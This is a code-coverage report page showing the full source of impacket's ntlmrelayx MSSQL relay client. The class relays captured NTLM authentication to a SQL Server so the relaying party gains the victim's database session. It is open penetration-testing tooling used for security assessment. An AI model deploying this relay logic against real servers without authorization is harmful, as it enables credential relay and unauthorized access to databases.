Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py: 23%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py : 23%

## 98 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

2#

3# This software is provided under under a slightly modified version

4# of the Apache Software License. See the accompanying LICENSE file

5# for more information.

6#

7# MSSQL (TDS) Protocol Client

8#

9# Author:

10# Alberto Solino (@agsolino)

11# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

12#

13# Description:

14# MSSQL client for relaying NTLMSSP authentication to MSSQL servers

15#

16# ToDo:

17# [ ] Handle SQL Authentication

18#

19 import random

20 import string

21 from struct import unpack

22

23 from impacket import LOG

24 from impacket.examples.ntlmrelayx.clients import ProtocolClient

25 from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \

26 TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN

27 from impacket.ntlm import NTLMAuthChallenge

28 from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED

29 from impacket.spnego import SPNEGO_NegTokenResp

30

31 try:

32 from OpenSSL import SSL

33 except Exception:

34 LOG.critical("pyOpenSSL is not installed, can't continue")

35

36 PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient"

37

38 class MYMSSQL(MSSQL):

39 def __init__(self, address, port=1433, rowsPrinter=DummyPrint()):

40 MSSQL.__init__(self,address, port, rowsPrinter)

41 self.resp = None

42 self.sessionData = {}

43

44 def initConnection(self):

45 self.connect()

46 #This is copied from tds.py

47 resp = self.preLogin()

48 if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:

49 LOG.debug("Encryption required, switching to TLS")

50

51 # Switching to TLS now

52 ctx = SSL.Context(SSL.TLSv1_METHOD)

53 ctx.set_cipher_list('RC4, AES256')

54 tls = SSL.Connection(ctx,None)

55 tls.set_connect_state()

56 while True:

57 try:

58 tls.do_handshake()

59 except SSL.WantReadError:

60 data = tls.bio_read(4096)

61 self.sendTDS(TDS_PRE_LOGIN, data,0)

62 tds = self.recvTDS()

63 tls.bio_write(tds['Data'])

64 else:

65 break

66

67 # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,

68 # Transport Layer Security(TLS), limit data fragments to 16k in size.

69 self.packetSize = 16*1024-1

70 self.tlsSocket = tls

71 self.resp = resp

72 return True

73

74 def sendNegotiate(self,negotiateMessage):

75 #Also partly copied from tds.py

76 login = TDS_LOGIN()

77

78 login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')

79 login['AppName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')

80 login['ServerName'] = self.server.encode('utf-16le')

81 login['CltIntName'] = login['AppName']

82 login['ClientPID'] = random.randint(0,1024)

83 login['PacketSize'] = self.packetSize

84 login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON

85

86 # NTLMSSP Negotiate

87 login['SSPI'] = negotiateMessage

88 login['Length'] = len(login.getData())

89

90 # Send the NTLMSSP Negotiate

91 self.sendTDS(TDS_LOGIN7, login.getData())

92

93 # According to the specs, if encryption is not required, we must encrypt just

94 # the first Login packet :-o

95 if self.resp['Encryption'] == TDS_ENCRYPT_OFF:

96 self.tlsSocket = None

97

98 tds = self.recvTDS()

99 self.sessionData['NTLM_CHALLENGE'] = tds

100

101 challenge = NTLMAuthChallenge()

102 challenge.fromString(tds['Data'][3:])

103 #challenge.dump()

104

105 return challenge

106

107 def sendAuth(self,authenticateMessageBlob, serverChallenge=None):

108 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

109 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

110 token = respToken2['ResponseToken']

111 else:

112 token = authenticateMessageBlob

113

114 self.sendTDS(TDS_SSPI, token)

115 tds = self.recvTDS()

116 self.replies = self.parseReply(tds['Data'])

117 if TDS_LOGINACK_TOKEN in self.replies:

118 #Once we are here, there is a full connection and we can

119 #do whatever the current user has rights to do

120 self.sessionData['AUTH_ANSWER'] = tds

121 return None, STATUS_SUCCESS

122 else:

123 self.printReplies()

124 return None, STATUS_ACCESS_DENIED

125

126 def close(self):

127 return self.disconnect()

128

129

130 class MSSQLRelayClient(ProtocolClient):

131 PLUGIN_NAME = "MSSQL"

132

133 def __init__(self, serverConfig, targetHost, targetPort = 1433, extendedSecurity=True ):

134 ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)

135 self.extendedSecurity = extendedSecurity

136

137 self.domainIp = None

138 self.machineAccount = None

139 self.machineHashes = None

140

141 def initConnection(self):

142 self.session = MYMSSQL(self.targetHost, self.targetPort)

143 self.session.initConnection()

144 return True

145

146 def keepAlive(self):

147 # Don't know yet what needs to be done for TDS

148 pass

149

150 def killConnection(self):

151 if self.session is not None:

152 self.session.disconnect()

153 self.session = None

154

155 def sendNegotiate(self, negotiateMessage):

156 return self.session.sendNegotiate(negotiateMessage)

157

158 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

159 self.sessionData = self.session.sessionData

160 return self.session.sendAuth(authenticateMessageBlob, serverChallenge)